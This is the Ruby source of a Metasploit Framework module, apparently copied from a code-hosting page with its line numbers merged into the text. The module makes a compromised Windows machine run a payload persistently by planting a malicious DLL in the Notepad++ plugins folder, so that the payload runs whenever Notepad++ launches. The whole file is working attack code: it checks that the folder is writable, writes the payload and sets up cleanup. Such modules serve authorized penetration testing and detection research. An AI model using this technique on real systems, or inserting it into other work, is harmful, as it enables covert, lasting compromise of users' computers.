Path: blob/master/modules/exploits/windows/persistence/notepadpp_plugin_persistence.rb
27907 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Exploit::EXE10include Msf::Exploit::Local::Persistence11prepend Msf::Exploit::Remote::AutoCheck1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Notepad++ Plugin Persistence',18'Description' => %q{19This module create persistence by adding a malicious plugin to Notepad++, as it blindly loads and executes DLL from its plugin directory on startup, meaning that the payload will be executed every time Notepad++ is launched.20},21'License' => MSF_LICENSE,22'Author' => [ 'msutovsky-r7' ],23'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],24'Platform' => [ 'win' ],25'SessionTypes' => [ 'meterpreter', 'shell' ],26'Targets' => [27[ 'Automatic', {} ]28],29'DisclosureDate' => '2005-12-11', # plugins were added to Notepad++30'DefaultTarget' => 0,31'References' => [32['URL', 'https://www.cybereason.com/blog/threat-analysis-report-abusing-notepad-plugins-for-evasion-and-persistence']33],34'Notes' => {35'Stability' => [CRASH_SAFE],36'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],37'SideEffects' => [ARTIFACTS_ON_DISK]38}39)40)4142register_options(43[44OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),45]46)47end4849def get_plugin_dir50expand_path('%PROGRAMFILES%\\Notepad++\\plugins\\')51end5253def check54@plugin_dir = get_plugin_dir55return CheckCode::Safe('Notepad++ is probably not present') unless directory?(@plugin_dir)5657# borrowed from startup folder persistence58begin59# windows only ps payloads have writable? so try that first60return CheckCode::Safe("Unable to write to #{@plugin_dir}") unless writable?(@plugin_dir)61rescue RuntimeError62filename = @plugin_dir + '\\' + Rex::Text.rand_text_alpha((rand(6..13)))63write_file(filename, '')64if exists? filename65rm_f(filename)66else67return CheckCode::Safe("Unable to write to #{@plugin_dir}")68end69end7071CheckCode::Vulnerable('Notepad++ present and plugin folder is writable')72end7374def install_persistence75@plugin_dir ||= get_plugin_dir7677payload_name = CGI.escape(datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13))))78payload_pathname = @plugin_dir + payload_name + '\\'79payload_exe = generate_payload_dll({ dll_exitprocess: true })80fail_with(Failure::BadConfig, "#{payload_instance.arch.first} payload selected for #{sysinfo['Architecture']} system") unless sysinfo['Architecture'] == payload_instance.arch.first81vprint_good("Writing payload to #{payload_pathname}")82if session.type == 'meterpreter'83fail_with(Failure::UnexpectedReply, 'Error while creating malicious plugin directory') unless session.fs.dir.mkdir(payload_pathname)84else85fail_with(Failure::UnexpectedReply, 'Error while creating malicious plugin directory') unless cmd_exec("mkdir \"#{payload_pathname}\"")86end8788fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname + payload_name + '.dll', payload_exe)8990vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_pathname}")91@clean_up_rc << "rm \"#{payload_pathname.gsub('\\', '/')}\"\n"92end93end949596